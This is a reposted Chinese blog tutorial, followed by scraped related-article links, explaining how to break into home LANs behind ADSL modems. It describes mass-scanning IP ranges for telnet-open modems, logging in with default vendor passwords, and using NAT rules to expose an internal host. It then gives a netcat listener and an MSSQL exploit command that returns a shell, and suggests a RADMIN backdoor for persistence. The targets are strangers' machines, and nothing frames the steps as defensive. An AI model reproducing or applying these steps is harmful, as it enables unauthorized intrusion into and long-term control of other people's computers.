***经验之教你穿透ADSL路由***内网
一.扫描
现在很多ADSL MODEM都是通过80、23、21三个端口来管理，但80、21端口有很多服务器都有打开，没什么特征性，于是我选择了23端口。打开我的至爱: SUPPERSCAN，填上我所在地区的IP段，(跨多几段都没关系，反正SUPPERSCAN的速度就是快)眨眼间，结果出来了。开23的主机还真不少，我挑了几台出来，在浏览器那里输入IP:218.xxx.xxx.xxx，OK。登陆对话框出来了，输入USER:ADSL pass:adsl1234(因为我这里的adsl modem一般是华硕的，缺省是adsl adsl1234)，好了，一矢中的，现在我就是上帝。
二.映射
***已经成功了一半，要进一步***内网，我门要进行端口映射，但是我连内网的拓扑都不知道(更不用说内网主机的端口开放情况了)又怎么映射呢?在此，我选择了猜测。一般来说，MODEM的内网IP缺省是 192.168.1.1，而大多数就把自己主机的IP设成192.168.1.2。因此我们只要试试把192.168.1.2的端口映射出来就行了(但如果使用了dhcp就麻烦了)但是192.168.1.2到底开放了什么端口，我们根本就不知道啊。呵呵，既然不知道，那么我就把他整台主机透明地映射到外网。具体做法如下:进入NAT选项---添加NAT规则---BAMID---填入主机IP:192.168.1.2，到此192.168.1.2已经透明地映射到192.168.1.1上，我们访问ADSL MODEM就等于访问主机192.168.1.2了。
三.检测漏洞
现在我们再请出SUPPERSCAN对 218.xxx.xxx.xxx进行扫描，呵，看到没有?扫描结果已经不同了，开放的端口是139、1433等，刚才只是开放了80、23、21而已(也就是说我们的映射已经成功了)该是X-SCAN出手了，用它来扫弱口令最好不过了，但扫描的结果令人失望，一个弱口令也没有，看来管理员还不算低啊。
四.溢出
既然没有弱口令，也没开80，那只好从逸出方面着手了，但没开80、21也就webdav .sevr-u的溢出没戏了，很自然，我向导了RPC溢出，但实践证明RPC溢出也是不行的，LSASS溢出也不行
五.募然回首，那人却在，灯火阑珊处
看来这个管理员还是比较负责的，该打的补丁都打上了。这时侯，我的目光转移到1433上了(嘿，不知道他打了SQL补丁没有?，心动不如行动，现在只好死马当活马医了，于是:
nc -v -l 99
sql2 218.xxx.xxx.xxx 0 218.xxx.xxx.xxx 99
这样就成功得到一个shell了。
六.设置后门
到这里，我们的***已经成功了，余下的是扫尾留后门，至于后门，我一般都是用FTP上传RADMIN上去的，呵呵，这里不详谈了，相信各位都知道。
转载于:https://blog.51cto.com/liuq5212/41428
***经验之教你穿透ADSL路由***内网相关推荐
- “攻城狮”手把手教你物联网智能生活-内网穿透技术
"攻城狮"手把手教你物联网智能生活-内网穿透技术 内网穿透技术,即实现外网IP访问内网IP而发展起来的一种计算机技术.在了解内网穿透技术之前,我们需要先了解IP和内网外网的概念. ...
- 十分钟教你配置frp实现内网穿透
十分钟教你配置frp实现内网穿透 一.frp的作用 利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务. 对于 http, https 服务支持基于域名的虚拟主机,支持自定义 ...
- 【内网穿透服务器】使用FRP实现内网穿透，远程访问内网服务器
使用FRP实现内网穿透,远程访问内网服务器 frp 是一个高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务,支持 tcp, http, https 等协议类型,并且 web 服务支持 ...
- frps 多个_同时穿透多个内网web服务，提示冲突
What version of frp are you using (./frpc -v or ./frps -v)? 0.27.1 What operating system and process ...
- FRP内网穿透映射本地内网80端口到云服务器
FRP内网穿透映射本地内网80端口到云服务器 如题,我的配置中本地服务器和云服务器都为ubuntu20.04,但CentOS同样适用. PS:怎么把网页部署到本地80端口请找别的教程,本文重点在内网穿 ...
- CentOS7内网穿透(公网访问内网)SakuraFrp-frpc配置(从0开始)
CentOS7樱花内网穿透(公网访问内网)SakuraFrp-frpc配置 初始环境 1:一台装好的linux系统(我这里使用的是centOS7) centOS7U盘安装 2:确保你的linux系统的 ...
- 《工具箱-内网穿透》FRP内网穿透(实现外网访问内网服务)
FRP内网穿透 一.环境: 内网服务器 Centos 外网服务器 Centos 模拟场景:使用虚拟机安装Centos系统模拟内网服务器,外网服务器是正常使用云服务器 适用于:Company内部有自己的 ...
- 详细教你用NPS搭建内网穿透服务，外出时轻薄本轻松连接家里的游戏主机远程玩耍
文章目录 前言 一.NPS概述 NPS的原理 二.NPS服务器搭建 1.下载软件 2.云服务器配置 2.1.防火墙配置 2.2.用WinSCP远程上传服务文件 2.3.使用SSH终端安装启动 2.4. ...
- 教你十步实现内网穿透
我是小康小白,一个平平无奇的Java小白.热爱有趣的文字,生活和远方. 内网穿透 由于某些词语嗯~~~你懂了,笔者换了一下,可能不太标准,希望见谅. 一,什么是内网穿透? 内网穿透简单来说就是将你的电 ...
最新文章
- JS下计算当前日期（当天）后N天出现NAN或者undefined的情况
- 据说这是个电子元器件采购的春天，我们该如何把握机遇？
- Python:构造函数和析构函数
- String＃repeat来到Java吗？
- 3 年大厂工作经验面试竟然要我手写 atoi 函数
- GitHub上最火的40个Android开源项目（一）
- 树莓派android p,Android P最新测试版带来更多的UI和图标方面的改进
- 年底了，整理了一些Android面试题给大家
- easydarwin 安装_在Linux平台上搭建EasyDarwin，编译代码并简单部署
- 2440开发板linux系统移植3G拨号上网收发短信（三）
- 弱电工程项目经理部及各相关人员岗位职责
- 计算机类证书之微软厂商认证分享
- 雷曼兄弟 算法_雷曼如何失去双腿
- c语言头结点存放元素,【笔记】带头节点的单链表的C语言实现
- js根据生日输出对应的生肖和星座
- 计算机应用基础考试试题及答案 在word中,用户建立的文件默认,2009年10月全国自考计算机应用基础历年真题...
- linux dmesg命令参数及用法详解
- 成都房地产市场火爆，房价走势之数据分析
- 北京数字认证股份有限公司-数字证书认证管理解决方案
- 数据库一致性、完整性